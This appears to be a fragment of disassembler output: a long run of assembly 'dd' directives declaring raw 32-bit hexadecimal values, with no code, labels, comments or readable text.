		dd 9B633D2Dh, 1E0EF667h, 82ED1751h, 0E0F1D02Ah,	0B7A6FD6h
		dd 0F60969B4h, 6E00D1DCh, 0AD35A21Dh, 0C2720FDBh, 1C806CFFh
		dd 0B055741Ah, 910060F4h, 2DDC269Bh, 42812h, 0A925A1E5h
		dd 0B82BDA3Dh, 4E00ABE8h, 869A236h, 2ED48h, 0F51FC4A5h
		dd 302C5C40h, 6FB36B00h, 85875767h, 0B23C0055h,	71690D79h
		dd 0A91F5E29h, 725CF073h, 5BE544C0h, 2E68AF1h, 3B3FFDBEh
		dd 605759E3h, 1CC79902h, 7AC09889h, 0CA75DD80h,	0D4E7A38Eh
		dd 0E5CB3903h, 80BA9786h, 93F2752h, 1C3CC3C7h, 69738100h
		dd 7E002DDFh, 2906E5E6h, 0EA326501h, 13D21ECCh,	0EF844044h
		dd 0E59009E8h, 62140300h, 1C0B8936h, 0D4B300E7h, 0D9983583h
		dd 1600CAE6h, 0A2FE064Bh, 1DB6995Bh, 80716D29h,	9BC85AB5h
		dd 0F37BFFD2h, 23BE88A0h, 87C56E1Fh, 0F1DE000h,	1DA6B206h
		dd 0C0693612h, 0F7B40479h, 5D077D5Ch, 54D11B39h, 614073C7h
		dd 38253250h, 86006593h, 0C2EEE4A7h, 73001C22h,	672C0598h
		dd 8A0746h, 1E2A7CD8h, 2134C20Ah, 6A00557Fh, 33B015AFh
		dd 1CDD469Eh, 8035B45Ah, 0CAB69739h, 493817E0h,	0DCB88084h
		dd 0E176BD73h, 93E70F6Fh, 0C7EF5999h, 8F0DE400h, 0FF003EEAh
		dd 379C7BB7h, 321FF0h, 2479F63Dh, 22CD0BB9h, 500081EEh
		dd 8ED88597h, 508098C6h, 1B58910h, 75084D7Bh, 0F003FDD7h
		dd 427B7634h, 0E6F69902h, 0C0DB6F9Dh, 3C9967Ch,	2E719F40h
		dd 7000CF53h, 93DEE987h, 2CBF4A74h, 0E770FEh, 0F1464103h
		dd 3190EF21h, 9E938900h, 1AADAF2Ch, 2D271FA2h, 28A7C07Fh
		dd 0E3A09BEDh, 0B029700h, 3996F3BEh, 361E4DAh, 1C65BF3Fh
		dd 9580A3D6h, 7F3AFEE7h, 673F6Eh, 278D7B88h, 98C31257h
		dd 0B2CD0029h, 5987FBC6h, 5D14D203h, 0CD2E3Ah, 0E2C36C3Dh
		dd 5CAB214Dh, 45003E94h, 0CE9777F7h, 91009B48h,	0B4758CD1h
		dd 7D2E0E2h, 292D2076h,	7C10A27Eh, 631216C0h, 0F4272602h
		dd 8047498Fh, 7062FD9Bh, 9FB75C56h, 0DFBF0070h,	73DEED3Ch
		dd 0AB03FC97h, 64BD16B9h, 6CCAE8A0h, 0E87400A1h, 0C787C0F1h
		dd 0CD00F4C2h, 352E377Eh, 0FBC8C5h, 0A201F28Fh,	0CA264D5Dh
		dd 2B16BA7Eh, 0FF132Ah
		dd 719421C1h, 291F31E3h, 1D8012B2h, 356C7B93h, 0EF7504h
		dd 34AF8A7Fh, 0B1CA411h, 9F87BF00h, 0D7E089D0h,	394F000Eh
		dd 7E61D8B8h, 0CF00266Eh, 6DA555B0h, 9807DB78h,	0F6D1009Dh
		dd 0E40336A0h, 0BE78EBF1h, 48858030h, 0EDBB5Bh,	5743CF40h
		dd 0B88F34E8h, 0D623921Ch, 0BBC7E080h, 73D4A046h, 0D88C4B7h
		dd 0B66BC1A7h, 2F69FC41h, 7A5C3675h, 640A1C0Eh,	54C11CC0h
		dd 0F458E15Fh, 3CF50028h, 0CBC86626h, 3300906Eh, 1755BDD9h
		dd 0E20E94h, 8735B0A6h,	0DB20BE6h, 41FFAC00h, 0EA698F5Ch
		dd 0E07D1C38h, 0B9DFC03Eh, 9CA7681Eh, 0B4005198h, 20961C33h
		dd 0E00AB8h, 0C853847Ch, 1379FD0Fh, 0D5BC6100h,	6FA64411h
		dd 0A7F21Dh, 0B807F675h, 7A9B6A24h, 0F4062700h,	0EED36DE3h
		dd 5510C078h, 0CE19684Ah, 61155406h, 18799Dh, 0BDF9C7DDh
		dd 0F7E9590Fh, 0F4102E00h, 5B369958h, 1FB41F83h, 80859C28h
		dd 0D5D3AE32h, 0F500CE18h, 48062524h, 0EA9E202h, 0D03A0A6Bh
		dd 96808C69h, 0D80FF6B1h, 0C9BD1E00h, 2B17F36Eh, 714AE621h
		dd 933E00BCh, 33E01FFFh, 60003B9Dh, 36408D4Eh, 416EB3h
		dd 37C94521h, 19EE8F73h, 80DE591Dh, 700D3401h, 65EDD214h
		dd 0F970FE8h, 0A5ED533Fh, 669811A1h, 3B8681CEh,	1245AC69h
		dd 0EEB2A530h, 111D00D8h, 65E1B321h, 9E0E8DE0h,	0C002C62Dh
		dd 0C37809F4h, 977B005Fh, 798BC8B9h, 4200FBB2h,	81E8D244h
		dd 30C9290h, 35863E93h,	96D0A041h, 0F3008FF8h, 7E565DB6h
		dd 98F62Ah, 4090EB51h, 0B3034E41h, 6F47140Fh, 0A5978002h
		dd 93D24Dh, 63D18553h, 23A4195Ch, 0DA57FE00h, 21E6F79h
		dd 77EF00FBh, 2D8AA74Ch, 2B76380Ch, 0BDBE2409h,	92460C4Dh
		dd 8832506Dh, 0EDFD007Eh, 99E15159h, 0B700D323h, 3EEB93ECh
		dd 1E376E14h, 9EAC7B97h, 0F88FC752h, 0D8EEA3D2h, 0FA3CEAF8h
		dd 9D86DB03h, 0D826F3C8h, 0BF13B3h, 3BA1550Eh, 5640E4EAh
		dd 74E87F1Dh, 78200A00h, 1CC31057h, 85F1B0h, 727FC50Eh
		dd 25009E88h, 3698AFD0h, 10A7577h, 0CC1EDA65h, 60709F8Dh
		dd 813E4D7Ch, 2BA8671h,	207439h, 7CF9FD79h, 24B356C8h
		dd 19C18803h, 0BB1B548Ch, 0F0E8002Fh, 9259EAFDh, 2300E4C5h
		dd 0E9B90157h, 72943Dh,	0F76FFEF2h, 0BE419BDFh,	6E122400h
		dd 0C1D15D74h, 0C5FA0Eh, 85B4C90Bh, 0C4BEDA49h,	79D00701h
		dd 0A37F3BC3h, 32660C4h, 3877ED80h, 89B05166h, 9200013Ah
		dd 0E0CB4907h, 5C0C44h,	97439F36h, 141CAF96h, 0CF05EE00h
		dd 4E0361ABh, 0E3D72E5Fh, 876D0245h, 0BC80DF7Bh, 805B235Dh
		dd 6260E890h, 0C7CE01B8h, 7D5675FAh, 2AC900A1h,	0A7A960AEh
		dd 1B00CBEFh, 4E6928D0h, 4814D147h, 62014093h, 6839429Fh
		dd 13C6C86Ch, 1AB1000h,	0B8FCCEEDh, 428800AAh, 0D014788Ch
		dd 0DC004CEBh, 0A5273AFAh, 6720A8h, 56368829h, 44C8766Bh
		dd 0C4548300h, 77ADD599h, 3C9E0010h, 196A7DBh, 0FC003537h
		dd 6A3D8905h, 1A5F08Ah,	0D68124C6h, 40497961h, 0DF3AC2FAh
		dd 0DE86CC00h, 6C34F27Ch, 0B3BB0044h, 0E12565ECh, 3200A836h
		dd 77F94A87h, 7558B537h, 97353F60h, 0AD404580h,	848EFA7Bh
		dd 329DF901h, 0CA783802h, 90697D20h, 19183B00h,	0B4B96800h
		dd 8F43C2CFh, 0CE5A751Fh, 45C7F85Eh, 91307EC0h,	0B3E3B0h
		dd 5D659C5Fh, 75AC28D9h, 0D4A76600h, 5A2CEEFAh,	84CF007Bh
		dd 6A182E0Ch, 0C40532B8h, 0A253B581h, 0F87054C6h, 2EAB3DB2h
		dd 7C3C3B83h, 0A0A02BB7h, 20C33DAEh, 0C03F9BE7h, 201972E2h
		dd 0AF00E12Eh, 770C32F5h, 1F1D9146h, 40554E64h,	0A90D6A23h
		dd 0BA9898C4h, 827D2800h, 73DF813Fh, 0D70C04Ah,	0EA2ED977h
		dd 4E6CF319h, 1EF007F9h, 236A0F27h, 0C303582Fh,	6F8B586h
		dd 31016D0Fh, 696E8333h, 81F4BC2Dh, 9F413D3Ch, 4ACCAB00h
		dd 1B77F584h, 0A843BF00h, 0A93F7D34h, 5A5C05F6h, 808C71DBh
		dd 0CCFF845Ah, 86B3E700h, 29387250h, 0FE4B0030h, 47E35177h
		dd 0D20031BBh, 20F405D6h, 8689DCh, 5E0DBC78h, 0FAD0BF39h
		dd 0C2791400h, 7CA3C78Dh, 1BF80352h, 81B8E5F0h,	85714AE8h
		dd 0D8AAE700h, 8E2541A4h, 9DA93B92h, 6F6800FDh,	0E8C2E18h
		dd 365408F3h, 97004A80h, 0EBB787DDh, 0FEAF243Ah, 0C35EE83Dh
		dd 0DDE0A921h, 0EBD401D8h, 0C600B5FAh, 0AC7A12D9h, 7DF8EE3h
		dd 717E834Fh, 0EB6D603Bh, 960067BAh, 232A3346h,	509DD67Fh
		dd 10C019h, 0CBE5297Ah,	0F1312DB4h, 372EEC3Ah, 0ED902115h
		dd 340829h, 0CA859D20h,	0B98261F5h, 0DB62670Fh,	0B1F72199h
		dd 6089CDB7h, 0D48075E4h, 244F61BBh, 0F52E2200h, 441823B1h
		dd 1B349233h, 82D090Dh,	47A519C0h, 4478BC00h, 14284BD7h
		dd 5E7105A2h, 48309123h, 0E6C0E090h, 21B778DDh,	0AA603DF3h
		dd 0B844DDFFh, 4D20027h, 4574BFD8h, 0F329A17Dh,	701184CBh
		dd 0AC298783h, 0C2E9CF9h, 0EB1C03Dh, 822297Eh, 0DACEAB01h
		dd 475FF3C9h, 8FB0A69Fh, 0BA03F26Bh, 0BCB8D79Eh, 1B00FB54h
		dd 0F0DACBDFh, 607A58h,	0E3FC6A34h, 65CD1FE5h, 5D765604h
		dd 0FB805C12h, 0EF0441h, 0BE5321ECh, 151888D5h,	3771ADB8h
		dd 0C7BCBD00h, 5775812h, 99A83A56h, 0C4E3DD00h,	599E807Eh
		dd 0D82B5400h, 25101432h, 3F1806E7h, 840DFF3h, 19216860h
		dd 33011CCh, 7315B32Ch,	48182188h, 0E7203FA2h, 1E2303E5h
		dd 73145664h, 0A90C54A2h, 9D70C8D8h, 26100FC0h,	30B021E7h
		dd 7513188h, 5011C71Ch,	3846D1Fh, 0D75AF400h, 38098B49h
		dd 0B658000Dh, 1F8FA7AFh, 0DF28C32Ch, 81466CF3h, 4A11CB02h
		dd 3491D0E7h, 0C3181034h, 16A50511h, 0C02407CEh, 9E7FF141h
		dd 225A952Eh, 7035090Ch, 492C0CC2h, 0E31141EBh,	4EB56C00h
		dd 5D011C15h, 3986008Bh, 0CDBA5A8h, 6700516Fh, 3E59EE9Ah
		dd 38AB5C26h, 0AF0E312Ah, 1C07F18h, 85B671F0h, 0EB84DE00h
		dd 0F2B09691h, 0DF43002Eh, 8CAA657Fh, 35000140h, 6E7E4A76h
		dd 0C9842Bh, 0F97AFA5Dh, 7C830F52h, 2D1DE000h, 7082DAA2h
		dd 354000AFh, 0F53025D2h, 9938EC37h, 39328E71h,	1A01A076h
		dd 0FCDB8F22h, 9F3C002Dh, 0B8809186h, 0CF0032B9h, 2F184566h
		dd 3724C6Eh, 0B40203A7h, 880F8009h, 0E3C2D371h,	0E008757Fh
		dd 7B4E7Ch, 0DB2DA05Fh,	0BDD854FFh, 0F7113703h,	2A78D27h
		dd 8FD31C1h, 0A6C0FF1Bh, 0C202B856h, 320FD13Dh,	0C51660E6h
		dd 9F40099h, 9FCF8388h,	2B07A40Ah, 0F5270777h, 87EFF1C7h
		dd 0F697D7B4h, 751C6C80h, 0A42A1817h, 0AF2D710Fh, 77600EF8h
		dd 1AD5B3E8h, 492900C1h, 96D9F6B2h, 5101D628h, 0FD039AF3h
		dd 40FA0FF7h, 3A4C4851h, 0F9005B13h, 0A33745B8h, 0F13BCE6Dh
		dd 29098054h, 0F384CCE3h, 0D884A9EFh, 0C04F8EC0h, 61C4A2E1h
		dd 0C300367Ch, 8C7ED6A7h, 0FE0BCF8h, 0E44E8867h, 0BEA055CFh
		dd 0A5AECE46h, 71E86900h, 845004D0h, 0E1DC03E5h, 4F2EF957h
		dd 0EAB607E8h, 0BB67BF0Eh, 1B36E7A0h, 0A472A6E0h, 0A7BD1826h
		dd 0E8CB1878h, 0E9F46000h, 8DFDBBFEh, 0C0CE0045h, 1AD626Eh
		dd 0AE744736h, 2821D960h, 0F0D0CE5Dh, 55FB0F25h, 803C236Fh
		dd 0FC119AEFh, 0B9036CEDh, 0BA824A8Dh, 639EC0FDh, 581E0391h
		dd 5BE9214Eh, 509D0930h, 1F6CBEEDh, 0C19491h, 0ABC633BCh
		dd 3C1855AFh, 0A17882F2h, 81ED6007h, 409D3FB0h,	9770E33Fh
		dd 0AD186248h, 722E580h, 0B4748A51h, 0A6FBC318h, 2A901860h
		dd 0C0453F5Fh, 0F9FA0910h
		dd 0E400D572h, 27823307h, 705EF8h, 0B859A08Ch, 22A44EA2h
		dd 0A3A9A600h, 0E419EA3Dh, 3172006Fh, 0C83C65DAh, 17000542h
		dd 4118ADFEh, 0E46099h,	1ECD3249h, 0B1B0B3FBh, 0D8862700h
		dd 0C642DE35h, 444A009Eh, 0DCC1FC8Ch, 88000E54h, 0DCC1626h
		dd 0EDF66Ah, 0D8217030h, 19170AC0h, 821F8F71h, 11C0392Bh
		dd 545527ADh, 21E91D7Fh, 0B7BB4062h, 20D459C2h,	76F3E50Fh
		dd 0E97D016Fh, 9CE0E0EDh, 1CE600C3h, 0E8D8CD3Ah, 422F6C90h
		dd 3DF5085h, 82EA4C92h,	0F2A916FCh, 632470CFh, 0B63841B0h
		dd 0E2B70083h, 0EAA84E78h, 9DE875h, 2B5A795h, 0BE6E74EDh
		dd 410009EEh, 1D37EABFh, 3CDF13B9h, 6486B584h, 9BD4C94h
		dd 0B0AEEA43h, 0D2D71585h, 985FF010h, 5D4648h, 4CBAE31Dh
		dd 0E789BBh, 6DF1855Ah,	9F638DC6h, 93292064h, 11861321h
		dd 0A4116AFDh, 13971215h, 0B927B78Ah, 1FCC8838h, 84FB2B88h
		dd 4E2EBE9h, 6A406C25h,	0B54345C5h, 583A8F42h, 228421C4h
		dd 0E342CB48h, 2DFF447Dh, 441B5D44h, 2284E7C1h,	292294ADh
		dd 0CC50225Eh, 0F02C3B20h, 87790E01h, 0BC00C207h, 0F62AD8A3h
		dd 304A5100h, 966A215Fh, 60473A64h, 588EEF87h, 18150034h
		dd 54006DCDh, 9E9F598Bh, 4A8630h, 0C799E76Fh, 4D329C01h
		dd 0C88E4302h, 600EF2D9h, 272477h, 0A83F1F5Ah, 74FEF728h
		dd 0A500AF72h, 31EC6682h, 3FDB62CEh, 158748B3h,	0B010A375h
		dd 83B0601Eh, 0CD4C1200h, 296E68C8h, 22C103EBh,	0C7D6F4Bh
		dd 0D71AFDC8h, 5833F100h, 0E56ADFDCh, 39CE3FBEh, 74C4E080h
		dd 0C669D8ADh, 0CF68E300h, 0BBC8D2FFh, 8CB300BFh, 8E5A2986h
		dd 1009698h, 0A508EC89h, 9B61481h, 0ED13DEA6h, 69A03003h
		dd 0D7D1E6A0h, 1000747Ch, 0AB1809B0h, 38130150h, 23800AA1h
		dd 0C8696F5Bh, 0CC0096C0h, 7E65F9DCh, 1E76D0E7h, 0C07AAB98h
		dd 4EE36C8Eh, 0AE0096BAh, 0ACADD2FCh, 0F2D0A71h, 0D8FA292Bh
		dd 0D2E1838h, 310122F8h, 0A312A5CAh, 0EFDC2362h, 0A6B2035Ch
		dd 904E92B8h, 2FF72C04h, 8C804BE5h, 3575466h, 5C2BBBA1h
		dd 78B04E29h, 0D400E9A4h, 3540F31Ch, 11FC7BEh, 0B2813273h
		dd 0ECBC9056h, 0B8079430h, 0C4F4414Bh, 0C00DFB80h, 32290078h
		dd 0AB6C577h, 0E0B03B1Ch, 42130F00h, 54F7609Ch,	61393A38h
		dd 0EB208C03h, 0D590B093h, 2700E0DCh, 0A169CE92h, 0AEB22Eh
		dd 57F0E295h, 8312024Fh, 3072FE39h, 7CF43C5Ch, 44850148h
		dd 4E5D641h, 0DF6CFCEBh, 0AA43F012h, 3C2C28h, 0A525B949h
		dd 11761CEh, 0C4C3A901h, 9A3B4DDh, 985EE870h, 0BB390018h
		dd 8691016h, 0A71CF687h, 0E1C0413Ah, 73755B7Dh,	0A4000C5h
		dd 0C79284A3h, 900B92Ah, 28F5429Ah, 74FAE78h, 7ADF39D9h
		dd 17DA10FBh, 331FFF70h, 0D1C07D8Ah, 90513850h,	0D7020028h
		dd 0C0D60C83h, 0B77BFE4h, 2EABC91Eh, 0C200B6A4h, 0A7319B3Dh
		dd 0A95800BEh, 65B9E6A2h, 57005D6Eh, 0E27DB79Dh, 80047Ah
		dd 3F19C0D3h, 0CDA7C8FBh, 0F6AA9801h, 42BE70EFh, 2CADE4h
		dd 0BC0F2A2Fh, 50E5AC0Ch, 0E8D64E02h, 0C8E444B7h, 0ED171E0h
		dd 0EBDC5157h, 81BB301h, 0A843CCC9h, 9CC3FF39h,	0AF47715Bh
		dd 265077AEh, 921795h, 2D02591Eh, 0A78ADD1Ch, 73E92A3Ah
		dd 8E5C3Bh, 0CC12CDA5h,	24DB37E6h, 170D4C3h, 6EB0D8BFh
		dd 8E34C496h, 9B797303h, 60E837D7h, 11ECE8C2h, 0A00A2BAh
		dd 24A613A9h, 2396364h,	42C3193Fh, 8403506h, 0EE01795Fh
		dd 331BB6A5h, 0D5C1ED36h, 573FCh, 0A159CAC8h, 1F514A43h
		dd 0D446821Fh, 0AAB9C987h, 0B3E40433h, 0A18DE0DFh, 40FE120Fh
		dd 7900050h, 0BAA87C98h, 0E83C87FAh, 24C780D8h,	372CC58Fh
		dd 90FCA8EEh, 0EF0D00DDh, 2D3FCE69h, 44005622h,	0AC7FC267h
		dd 2A73A6h, 3815F04Ah, 0D95E37BBh, 990062F2h, 0F118472Fh
		dd 5528C3h, 0A554898Eh,	0E5F2EA0Ch, 0D60090FCh,	309302A3h
		dd 0E1291Bh, 0CD80210Eh, 2CD00841h, 95009F79h, 9B504497h
		dd 29A665C9h, 0E45C9Dh,	2DFD05DDh, 9F009495h, 22262460h
		dd 504DF5BFh, 700AEE3Ah, 54F4BAh, 0F623F40h, 0A998DA44h
		dd 45088503h, 80364F01h, 97B33BEh, 0B67DE2B0h, 43292680h
		dd 2A00EC15h, 39E7497Eh, 2756C2h, 0F9FEEA35h, 68536FCEh
		dd 93A0C100h, 70E7E17Fh, 5F6C000Bh, 17FA74D9h, 0B0009289h
		dd 0C30CC95Ch, 46B471h,	2D13DC63h, 85ED5ACFh, 10123675h
		dd 8207DD20h, 807FB2DAh, 903D580h, 461F00EEh, 510D91A6h
		dd 0CD005A47h, 1524E938h, 0E68E4B34h, 41030083h, 877CB54Ch
		dd 895ABA39h, 0E900F3E8h, 0C468F186h, 0EDEAA473h, 0AD406E12h
		dd 0CA88003Eh, 89E0D0C0h, 6C0013Ch, 0DB6EE6D7h,	4045F05Dh
		dd 73B51C00h, 0BD77A6BCh, 0B0B256h, 2263D24Bh, 18D69DE8h
		dd 3E36993Dh, 6E690094h, 7A98B51h, 0AD080104h, 5C75D510h
		dd 11F6E0B1h, 0D170E61Ch, 90C71941h, 0FAE05A97h, 0DB2700A0h
		dd 8E211F28h, 0B402CBDFh, 0F7C7CEB5h, 0BCD8C053h, 99EE2602h
		dd 40BB004Ah, 0A3A177Eh, 5D4E6E00h, 0A64C7D1Eh,	897B00EEh
		dd 41485498h, 5A007840h, 2B2017E6h, 7AC408h, 12353138h
		dd 88F764CBh, 984DE400h, 0DE61FD0Ch, 68511449h,	48009F17h
		dd 0B855F615h, 7D0F87F0h, 0E08C8365h, 16D218B5h, 20AE004Bh
		dd 0CBCDEC9Eh, 0D8A05BC2h, 7400500Fh, 0DD05E2B1h, 0D0C056h
		dd 9B54C41Fh, 0F2291221h, 95099DF4h, 0FFF705C6h, 0CCB58C00h
		dd 34F39F6Fh, 9B014CF8h, 0FD5D8D84h, 0D840DCB1h, 713431h
		dd 14A2D46h, 7CAB082h, 830E4212h, 0C9EEB505h, 8C34DCC0h
		dd 0B66C00B1h, 0F11C03ECh, 81000ED4h, 88A887D6h, 0A547F8h
		dd 1C20B44h, 2FA97BCFh,	1D00A1EAh, 0CC7CED5Eh, 7846FB1Ch
		dd 0A50F00B2h, 0FAA2F197h, 4A00DCF6h, 0E161E4DFh, 5F4C60h
		dd 687B418Ch, 1681D329h, 8F95FF07h, 38723CB4h, 0D1CAE01Fh
		dd 7C6100DBh, 5C0DD915h, 1800EEB0h, 0F4763E48h,	0E042A5A9h
		dd 0B43A00BAh, 3C942320h, 0B770F57Ch, 1400D778h, 54931E71h
		dd 0BB646Ah, 9F7421B5h,	0C877E826h, 52600526h, 0A828F200h
		dd 18E11C9h, 0CABE9364h, 0F012B3A6h, 60025E2h, 88F5A34Bh
		dd 4F1962h, 0FFEFB42h, 550DB5C0h, 7DE9C100h, 0D1A3D3ECh
		dd 0B4B000A7h, 94E53D62h, 0B600BBC2h, 0AD1254C7h, 5F2CE1h
		dd 0A523599Eh, 1ADD91D1h, 6211B39h, 66F6FB22h, 10D20382h
		dd 7E390A5Ch, 0A6FD4C88h, 11672300h, 0E3AA59D1h, 0BB052CD3h
		dd 124600D0h, 6B89754Eh, 0BE977100h, 0E829E25Dh, 0ED3C1DF3h
		dd 0E3638092h, 0BDBA5525h, 90D02300h, 359B5D05h, 0AF523ACAh
		dd 0D74EA481h, 0A8F126E0h, 0BC008E62h, 9CC9C21Bh, 49449Eh
		dd 16DFF8EAh, 3CAA3532h, 632A4E00h, 266D66E0h, 0FE97018Ch
		dd 1B0C10CDh, 0DCEC24D0h, 0A98FA100h, 0DDBB4AA7h, 0E6C8016Bh
		dd 810A2375h, 47557111h, 0A15440D4h, 0A71EAD0Dh, 4EC014B4h
		dd 3BD8C23Ah, 0D9790077h, 0A4F243EFh, 0EE00D14Ch, 677BFA10h
		dd 3FE96375h, 9E00F7B6h, 597A6162h, 0E004452h, 10848E73h
		dd 1D0A82C1h, 3EC29C94h, 5C3D17h, 0BE3FB98h, 4F1EC71Ah
		dd 0A5809A2Dh, 0D867494Dh, 158D1795h, 0BBF100EFh, 24F94C64h
		dd 53BA3C00h, 81EEF629h, 31620310h, 506F34D2h, 0F2E34ED2h
		dd 938A1298h, 0FDA08CF4h, 5A0F635Dh, 8009D33Ch,	500A6EABh
		dd 0A2F60026h, 0C74630FCh, 0E60055BBh, 9D818A5Ch, 77853C01h
		dd 0AA1500C3h, 9B0E724Bh
		dd 0A1F65ECAh, 8D176E16h, 0CFC19E00h, 124B84h, 8D82045h
		dd 3D4FA767h, 0C02C9A0Eh, 40019F41h, 9DC775C4h,	20853C8h
		dd 0F2109FA6h, 0BFE074C1h, 6F0073E5h, 6123243Bh, 0EDBF48h
		dd 4FF2D564h, 0A5AD2825h, 5900D275h, 0D094E28Ch, 9D783Ch
		dd 8231CB9h, 6870C96Ch,	8085CC3Eh, 0C64D2C5h, 38A7CA82h
		dd 431761E5h, 930D0025h, 0C48E13FAh, 0F17AE100h, 3683D3CFh
		dd 8FC00F0h, 0EBA58690h, 8A0024BCh, 0EDFD4187h,	3D61C79h
		dd 702B3BA1h, 57F8E469h, 0FC0FB91Eh, 0FE7EBA92h, 965E1F40h
		dd 48EE2A8Bh, 0BD1DC8ACh, 6D718033h, 18308C8h, 2B9DAF00h
		dd 5255B998h, 7B6E6D0h,	0BF2E991Ah, 0D8030A4h, 0A80B6710h
		dd 285945h, 0B7FCB899h,	0D1E93AF2h, 0B405C914h,	0A59A9301h
		dd 0CC749E85h, 0FD296586h, 0A604C021h, 0B6C3D166h, 768380BDh
		dd 0D6070F0Eh, 3FE0CE15h, 3495DC61h, 5D9D9B00h,	5F5BF837h
		dd 0BE99008Eh, 124C97FCh, 291C21D5h, 4E8066B0h,	5F1587A3h
		dd 0C29800BAh, 0BC89CC10h, 0B1C02481h, 0F3857C13h, 9384079Ch
		dd 0A0225BF7h, 1406AF07h, 3CEA5503h, 90A160E8h,	1A05DAh
		dd 3761963Bh, 0C6AE0106h, 0AB354307h, 9AC051B2h, 0C199AFE5h
		dd 49CF4E88h, 0D284C433h, 41045CF2h, 0EB56DB9Fh, 0A9E89CC0h
		dd 0CD0C3D0Fh, 3F96CB00h, 0FF8F5F77h, 1A658300h, 583A460Bh
		dd 51E01F3h, 9EE3D0A1h,	8BA1C7EFh, 0C4A0DDEEh, 630068DCh
		dd 0BDFD1769h, 18473DB7h, 0E10196B2h, 760EAEE4h, 40623369h
		dd 54CE220Bh, 5870010Dh, 0E39DABEAh, 4875E45Ch,	0D7506100h
		dd 0D56BB9E5h, 72050022h, 0FC2C5903h, 3C00FE31h, 9F535F97h
		dd 48CE39E5h, 8A07A085h, 5CF63552h, 131F9870h, 5103AE62h
		dd 1F233845h, 1CADD89h,	0C43F6393h, 850C20B6h, 35FE3A03h
		dd 0A7CF8128h, 0EFEAF900h, 7078007Ch, 4B9724A4h, 540019DDh
		dd 0D1FD59CDh, 0F18D1Dh, 0F57892Ah, 21ACB69h, 38005479h
		dd 20FF7539h, 2126131h,	520C470Eh, 46407EDCh, 0F500F16Fh
		dd 7001D88Ch, 26744B31h, 0FE65578h, 19800DD3h, 9DBDBC40h
		dd 3D12CF00h, 81B0A12Fh, 514B0787h, 70071925h, 0BC60CDB6h
		dd 2D84A400h, 0EF5E63FFh, 16FB0076h, 8C1A78BDh,	270052F1h
		dd 0EB5A8D4Ch, 89EFE8h,	0CEAEDC70h, 0B2ECFE64h,	38CA7224h
		dd 5A403400h, 1F44B9F9h, 401E1C8Eh, 93DBFAEFh, 0EB00120Dh
		dd 1D2CB897h, 0E63EA5F8h, 39E61462h, 0C84C0E0h,	0AB226138h
		dd 0C4800E13h, 63263AB5h, 20003C11h, 2F8725CAh,	39876C5h
		dd 0D7F3F9C9h, 1000C041h, 0C37ABA2h, 7F1E33h, 0A6B277Ah
		dd 0C3360DD1h, 144EF43Eh, 13C1736Ah, 0B80E7492h, 0AF55EF66h
		dd 0B3504C5h, 1FA3ACD0h, 7C7794h, 0F6592857h, 0B79ADAE5h
		dd 1AEE5D0Fh, 0D05640CBh, 41C991Bh, 766C5EDBh, 6F1891C8h
		dd 7EAC6080h, 27425807h, 43E066AFh, 0E4E9DCFAh,	0A979ECh
		dd 36ACEAFFh, 9048F38Bh, 1198FB00h, 7DC18468h, 0E73F0049h
		dd 152C50F8h, 26038A94h, 0A8647323h, 674980Ah, 0B1C90019h
		dd 0E693F3D6h, 0D3014546h, 7339E33Eh, 0B040472Ch, 37F01Ch
		dd 23DD9A34h, 0A9289942h, 800A3C2Ch, 2E50033Dh,	0F85F0C25h
		dd 910FC8h, 0F144F040h,	0DE6B874h, 0C91613F0h, 8C008B29h
		dd 0B37F55A7h, 0F48A001Ah, 79A5E546h, 0FC587EE7h, 69007494h
		dd 0EC4BAFE9h, 5D2B5Ch,	0B33DE638h, 0EA578175h,	48DAA606h
		dd 1DA0A845h, 1918B87h,	1D67D6D9h, 582C203Dh, 68FB2600h
		dd 0F47E7524h, 9CD90010h, 2C122D64h, 0F77239BBh, 88B02375h
		dd 87B9EF10h, 0F021AB10h, 12ED5DA2h, 1CB839C3h,	506CEE0h
		dd 207EA9C0h, 0EFA282Ah, 0D2B00905h, 0F5C07ADBh, 886F35h
		dd 4AD46CB2h, 985F51CDh, 447DC300h, 438E9D63h, 0F474005Ah
		dd 64681683h, 5600BC80h, 8F2E9052h, 3D592Ch, 0F4690A7Bh
		dd 15294974h, 2F738C00h, 8FE99005h, 71282823h, 24FD0084h
		dd 21D010BDh, 0E100A053h, 5FCC88B0h, 8A77C2h, 4E63F26Fh
		dd 0B8EBB5AAh, 0A2276800h, 6040FF91h, 65850024h, 9CE4F5C8h
		dd 0DA169AD1h, 7C017A0Ch, 533BA289h, 51584F15h,	0C0DC5D12h
		dd 5BE56713h, 0AB0087E6h, 5F190CC7h, 0B0CA6B39h, 8DB33967h
		dd 20B050h, 0B6B55DBAh,	21732AADh, 646D58h, 5FBDB1A1h
		dd 0B71A0E6h, 4ABCFEC7h, 0F5ED4001h, 8E21C415h,	55AD7400h
		dd 8D325DF1h, 160B0026h, 8C9EA29Fh, 0B107097Fh,	482252CBh
		dd 0C30160B0h, 0F416002Dh, 5F586113h, 8E05BCA1h, 9ABAFD78h
		dd 0ABDA5480h, 52B824A4h, 430312D3h, 0EFAEE6C0h, 228BDFE0h
		dd 0B9C1A0C0h, 39BD61Ah, 9C58FA2Bh, 0FEB82619h,	0CE00833Eh
		dd 419002EEh, 50B04B4Ah, 85C87Dh, 0F80A2029h, 89CBDE69h
		dd 0B176D201h, 55BACD66h, 6EC7061h, 0D6620132h,	652FF090h
		dd 0C80C7088h, 0DF124960h, 5EE8C0Dh, 34E42DC4h,	0D1C8017Fh
		dd 0F4107206h, 5E0FD48Dh, 0C00CD83Ah, 52BEB79Eh, 0B3050CC6h
		dd 9FD12B8Bh, 0E862441Fh, 0F4403A16h, 75401CDh,	401C0087h
		dd 4CC729C1h, 893932CEh, 60F281B9h, 0C9A52F1Fh,	0A1608F4h
		dd 26456805h, 21820096h, 913518A3h, 921D6000h, 8EAE1AEDh
		dd 69251D03h, 7EFD00CAh, 0EA54A0ACh, 5F08E91Dh,	0E1822A82h
		dd 478681Dh, 4CA10767h,	0E0DA8C5Ah, 35603998h, 0EB3BEA0Fh
		dd 27C320FAh, 287EF79Fh, 1D89543h, 0DE6E06B2h, 6177D9FFh
		dd 4ADDF060h, 0E703F272h, 44EDD891h, 0DF8288B9h, 18F00347h
		dd 0DBEE86E3h, 9AC8B7DBh, 701F74Dh, 1192715Ah, 0BC60E9AAh
		dd 38E8035Fh, 0C341BDD2h, 26B303F0h, 0CD88A600h, 1651D9C9h
		dd 7A183807h, 86291381h, 0E8CF46D8h, 0B30096F6h, 14A25C99h
		dd 0A2A32h, 0FEABE790h,	0ED8AD3B7h, 0AE483E75h,	1C38D7h
